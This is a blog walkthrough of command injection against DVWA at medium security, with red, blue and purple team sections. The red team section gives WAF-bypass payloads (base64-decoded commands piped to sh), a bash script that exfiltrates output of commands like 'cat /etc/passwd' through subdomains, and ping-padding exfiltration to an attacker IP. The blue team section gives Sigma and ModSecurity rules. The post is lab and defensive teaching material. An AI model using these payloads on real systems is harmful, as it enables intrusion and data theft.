Post

DVWA Command Injection Med Sec - Red Blue Purple Team

DVWA Command Injection Med Sec - Red Blue Purple Team

In today’s you will learn how to Command Inject the DVWA on Medium Security. I provide novel OWASP CRS ModSecurity WAF bypasses; one to run the commands id or who, one generic command injection that can run any command due to being base64 encoded. There is a method to use a localhost subdomain to exfiltrate data, it just needs to be converted to alpha num. Finally I propose a method to exfiltrate data using ping to smuggle information in the packet padding, for situations you don’t have direct confirmation that the Command Injection is working.

For the Blue Team I provide an updated Sigma rule to detect the activity. We look at the ModSecurity rule differently to instead allow-list what the input must be to prevent any bypass methods.

Lastly the Purple Team provides a new template to test Elastic SIEM rules then ModSecurity Rules to ensure detection and prevention will work.

Prerequisites

If you don’t currently have a Damn Vulnerable Web Application (DVWA) instance you can follow along at home with a simple git clone & vagrant up if your host system meets the minimum specs.

Red Team Setup

Blue Team Setup

Red team only deploys Opnsense, DVWA, and Kali.

Blue Team deploys the whole environment.

ModSecurity

If you want to use ModSec to block the attacks follow the installation steps in the Blue Team section of the first post.

The ModSec WAF will block any attempts with a set of words in them, to disable it (if you installed it) do a simple: sudo sed -i 's/SecRuleEngine On/SecRuleEngine Off/' /etc/modsecurity/modsecurity.conf on the DVWA guest VM.

Command Injection - Red Team

We will assume the programmer has implemented some filters to thwart our attempts. Lets try get past them!

Nuclei (low sec)

Since we have a functional Nuclei template lets try it on the medium security and see if it’ll work, all I’m doing is changing line 77 from ‘low’ to ‘medium’.

dvwamediumcinucleilowsec Example medium ci nuclei scan with low sec template

Some metacharacters are still being let through, namely the pipe characters.

Basic Browser

We will try some testing with our metacharacters, references can be found here and here.

Attempting it with the characters we know now still work:

1
127.1.1.1|id

dvwamediumcipipeid Example medium ci with pipe char

Success so we know from the nuclei template that the following chars are being stripped form our little list: ; and && so that still leaves &, |, || and subshells.

I’ll leave you to attempt the single ampersand and double pipe.

Side Channel: Red October Ping

Moving onto something more intriguing, during the first post I proposed a reverse shell to get the output of a subshell, strictly we don’t need this.

Mod Security Command Injection Filter Bypass

The ModSec WAF will block any attempts with a set of words in them, to disable it (if you installed it) do a simple: sudo sed -i 's/SecRuleEngine On/SecRuleEngine Off/' /etc/modsecurity/modsecurity.conf on the DVWA guest VM.

There is a WAF bypass however (works for the commands who and id):

1
`id|od -An -tx1|tr -d ' \n'|cut -c1-63`.localhost

For arbitrary commands you need to base64 encode them and decode at runtime. This is the encoded disallowed whoami command:

1
`gettext 'd2hvYW1pfG9kIC1BbiAtdHgxfHRyIC1kICcgXG4nfGN1dCAtYzEtNjM='|base64 -d|sh`.localhost

The base64 decodes to:

1
whoami|od -An -tx1|tr -d ' \n'|cut -c1-63

dvwamedciwafbypass

I went down a rabbit hole looking for alternative commands in coreutils. yes seemed like a winner:

1
yes 'd2hvfG9kIC1BbiAtdHgxfHRyIC1kICcgXG4nfGN1dCAtYzEtNjM=' | head -n 1 | base64 -d | sh

But head is on the block-list, you’ll note sh is also on the block-list, it works because it’s looking for a space after the sh like sh -c whatever not sh receiving commands. printf is also on the block-list so is a nonstarter.

Again turn the WAF off before continuing if you installed it!

Localhost Based Data Exfiltration

A simple:

1
`whoami`.localhost

will return the results of the command as a subdomain of localhost and as long as it conforms to the Domain Name naming standard defined in RFC 1035, namely alphanum and hyphens are ok, as long as it doesn’t start/end with a hyphen. There are some issues however:

1
`id`.localhost

Won’t work due to the special chars returned and being too long.

dvwamediumcisubshellsubdomain Example medium ci subshell subdomain

You can see the output of “whoami” is “www-data” the Apache2 web user.

Can we return more information? Yes we can! Encode the returned information in hex to make sure it’s always alphanum. Based on testing we are limited to two subdomains of 63 chars each.

1
`printf "%s" $(id) | od -An -tx1 | tr -d ' \n' | cut -c1-63`.`printf "%s" $(id) | od -An -tx1 | tr -d ' \n' | cut -c64-126`.localhost

dvwamediumcilocalhsot Example medium ci subdomain subshell exfil

Moving to a script to pull all the data from the returned command (dvwacommandinject.sh):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
URL="$1"
COMMAND="$2"
CHUNK_SIZE=63
OFFSET=0
PHPSESSID=$(curl -s -c cookies.txt "${URL}/DVWA/login.php" | grep -Eo "name='user_token' value='[^']*'" | cut -d"'" -f4 | xargs -I {} curl -s -c - -b cookies.txt -X POST "${URL}/DVWA/login.php" -d "username=admin" -d "password=password" -d "user_token={}" -d "Login=Login" | grep -Eo [a-zA-Z0-9+]{26})

while true; do
  START=$((OFFSET + 1))
  END=$((OFFSET + CHUNK_SIZE))

  # Compose payload: cut N-N+63 inside the command injection
  payload="\`printf \"%s\" \$(${COMMAND}) | od -An -tx1 | tr -d ' \n' | cut -c${START}-${END}\`.localhost"

  response=$(curl -s -X POST \
    -L \
    -b "security=medium; PHPSESSID=${PHPSESSID}" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data "Submit=Submit&ip=${payload}" \
    "${URL}/DVWA/vulnerabilities/exec/")

  # Extract and print the hex subdomain
  echo "$response" | grep -oE 'PING [a-f0-9]+' | sed -E 's/^PING //'

  # Optional stop condition (e.g. if server stops responding or output is small)
  [ $(echo "$response" | grep -oE 'PING [a-f0-9.]+' | sed -E 's/^PING //' | wc -c) -lt $CHUNK_SIZE ] && break

  OFFSET=$((OFFSET + CHUNK_SIZE))
done

Save the above to a file and run it:

1
bash dvwacommandinject.sh http://tartarus-dvwa.home.arpa 'cat /etc/passwd'

Arg1 is the target URL of your DVWA Arg2 is the command to run “cat /etc/passwd” can be replaced by any command that you expect an output from, must be quoted.

dvwamediumcibashsubdomainexfil Example medium ci subdomain smuggle

Paste the response in CyberChef follow the link for preloaded ops:

dvwamediumcicyberchefoutputofexfil Example medium ci cyberchef decode exfil data

What if we didn’t receive any visual response from the web app, but you suspected you had some form of Code Execution? Can you get the response back? Absolutely!

Ping Based Data Exfiltration

For this to work we must do a little setup if you’re using the Tartarus Lab, we’d need to enable Internet Control Message Protocol (ICMP) from the “Assets” network to the “Hackers” network, because we are “deny-by-default”!

Log into the firewall and go to the Firewall tab:
(from within the Kali guest https://192.168.56.193/)
(from your host machine https://127.0.0.1:8443/)
username: root
password: opnsense

dvwamediumciopnsenseconfig Example medium ci opnsense config

Now add a new rule for this interface:

dvwamediumciopnsensecont1 Example medium ci opnsense config

Keep everything default except change the protocol to ICMP and the destination network to Hackers:

dvwamediumciopnsensecont2 Example medium ci opnsense config

Don’t forget to apply these changes:

dvwamediumciopnsensecont3 Example medium ci opnsense config

We are ready to be real sneaky. If you read the man page for ping you will see a -p flag, it does:

1
2
3
-p pattern
           You may specify up to 16 “pad” bytes to fill out the packet you send. This is useful for diagnosing data-dependent problems in a network. For
           example, -p ff will cause the sent packet to be filled with all ones.

We can fill (16 bytes) of the 40 byte payload with whatever data we want!

In the Kali host run a wireshark session and listen to the interface you expect data to come back to with the following filter _ws.col.protocol == "ICMP":

dvwamediumciwiresharkstart Example medium ci wireshark filter

In the DVWA run the following:

1
-p `printf "%s" $(whoami) | od -An -tx1 | tr -d ' \n'` 192.168.56.200

Change “$(whoami)” to whatever command you want, just remember you only have 16 bytes to exfil.

dvwamediumcipingpad Example medium ci ping padding

In wireshak you will see the following (click on one of the requests):

dvwamediumciwiresharkcap Example medium ci ping padding wireshark capture

Scroll down in the bottom lefthand window until you see “Data”:

dvwamediumciwiresharkdata Example medium ci ping padding wireshark read data

Now copy the data:

dvwamediumciwiresharkcopy Example medium ci ping padding wireshark data copy

Paste the value into CyberChef go to the link for preloaded ops:

dvwamediumcicyberchefping Example medium ci ping padding data cyberchef decode

There are no obfuscations to bypass the detection rules we setup in the Blue Team post, however the ping based method, if you didn’t have host based detection would be very difficult to identify. In the High Blue Team post I will propose a Suricata rule to block non-standard ICMP traffic.

Command Injection - Blue Team

Since the core of this exploit remains the same as the Low Sec version we are able to identify the activity on the DVWA Apache guest. This “host” based approach is great, but what if we wanted to block the activity with our brand new WAF? Shifting from detection to prevention based security.

Sigma Rule

The rule SIGMA - Suspicious Process Spawned by Apache with Shell Metacharacters is able to identify all the attempts, this is due to how the shell executes the commands provided. The rule is running the following EQL search:

1
any where process.parent.name:"apache2" and process.command_line regex~ ".*[;|&`><$()].*"

Hence we are looking for any child process of apache2 (The Apache process) that has any meta chars like the pipe symbol or sub-shell shenanigans.

dvwamedciproctree Example process injection in elastic analyzer

The process args ping -c 4 $(whoami).localhost gives the game away.

The rule will even detect the Ping based exfil:

dvwamedcipingexfilelastic Example process injection in elastic analyzer 2

As you can see the process.args contain the full command used to exfil the data.

We can make this rule more robust by instead of tracking activity using the parent process name, we look for what user runs the commands. The updated rule SIGMA - Suspicious Process Spawned by Apache with Shell Metacharacters Med Sec:

1
2
3
4
5
6
detection:
  selection_user:
    User: www-data
  selection_args:
    CommandLine|re: '.*[;|&`><$()].*'
  condition: selection_user and selection_args

Side Channel: WAF a Mole

As you can see from the above examples of WAF bypass techniques, it is trivial to bypass the block-list. Instead we can focus our efforts more productively, since we control the application, we know what it’s purpose is - “Ping an IP address.” Could we take that literally and block any other type of communications to the /exec/ endpoint? Yes!

A ModSecurity rule like the following should do the trick:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# Allow GET requests to /exec/
SecRule REQUEST_METHOD "GET" \
    "id:3000400,\
    phase:2,\
    allow,\
    log,\
    auditlog,\
    msg:'Allow-list: GET allowed for /exec/',\
    chain"
    SecRule REQUEST_URI "@beginsWith /DVWA/vulnerabilities/exec/"

# Allow only ip=<valid IPv4> & Submit=Submit on POST /exec/
SecRule REQUEST_METHOD "POST" \
    "id:3000401,\
    phase:2,\
    allow,\
    log,\
    auditlog,\
    msg:'Allow-list: POST ip+Submit allowed for /exec/',\
    chain"
    SecRule REQUEST_URI "@beginsWith /DVWA/vulnerabilities/exec/" "chain"
        SecRule &ARGS "@eq 2" "chain"
            SecRule ARGS:Submit "@streq Submit" "chain"
                SecRule ARGS:ip "@rx ^((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])$"

# Allow only requests that have IP & Submit and user_token (for impossible security)
SecRule REQUEST_METHOD "POST" \
    "id:3000402,\
    phase:2,\
    allow,\
    log,\
    auditlog,\
    msg:'Allow-list: POST ip+Submit+user_token allowed for /exec/',\
    chain"
    SecRule REQUEST_URI "@beginsWith /DVWA/vulnerabilities/exec/" "chain"
        SecRule &ARGS "@eq 3" "chain"
            SecRule ARGS:Submit "@streq Submit" "chain"
                SecRule ARGS:ip "@rx ^((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])$" "chain"
                    SecRule &ARGS:user_token "@eq 1"

# Deny everything else to /exec/
SecRule REQUEST_URI "@beginsWith /DVWA/vulnerabilities/exec/" \
    "id:3000403,\
    phase:2,\
    deny,\
    status:403,\
    log,\
    auditlog,\
    msg:'Blocked: non-allow-listed request to /exec/'"

Here we are telling ModSec to allow GET requests to the endpoint, and allow POST requests that body matches the parameters we’ve set, namely they must only contain Submit and a valid IPv4 address (optionally a valid user_token for Impossible Security), nothing else! Finally the last rule blocks everything else not allowed above.

Why are we blocking in phase 2 and not in phase 4? If we let the commands execute as demonstrated above with the Ping based approach it will leak data. We want to block these attempts as early as possible.

Side Channel: Ping Pong

For the ping based exfil without Suricata enabled we can only rely on the host based detection. Rest assured in the High Security I’ll cover Suricata in more detail.

Command Injection - Purple Team

Nuclei (new)

I’ve adjusted the template to be more fuzz like, and added the checks for subdomain subshell and ping based exfil.

1
nuclei -u http://tartarus-dvwa.home.arpa/DVWA -t /vagrant/nuclei-templates/dvwa/dvwa-command-injection-medium-sec.yaml

dvwamediumcinucleifuzz Example medium ci nuclei scan output

The ping exfiltration:

1
nuclei -u http://tartarus-dvwa.home.arpa/DVWA -t /vagrant/nuclei-templates/dvwa/dvwa-command-injection-medium-sec-ping-exfil.yaml

dvwamediumcinucleiping Example medium ci nuclei scan ping output

Omega-cli

In keeping with the new format Omega-cli testing is split into Elastic Alert testing (WAF Off) and ModSecurity Rule testing (WAF On).

Elastic Alert

Using the new Medium Security Nuclei template we can test in a more “fuzz” way:

1
python3 omega.py --config tests/nuclei_apache_command_injection_med_post_elastic.yml elastic-local -t http://tartarus-dvwa.home.arpa -d

dvwamedciomegaelastictest Example medium ci omega elastic alert test

ModSecurity Rules

You can quickly enable the WAF (if installed on the DVWA guest) with: sudo sed -i 's/SecRuleEngine Off/SecRuleEngine On/' /etc/modsecurity/modsecurity.conf

Once the WAF is enabled again you can run the Mod Sec test:

1
python3 omega.py --config tests/nuclei_apache_command_injection_med_post_modsec.yml elastic-local -t http://tartarus-dvwa.home.arpa -d

dvwamedciomegamodsectest Example medium ci omega modsec test

This post is licensed under CC BY-SA 4.0 by the author.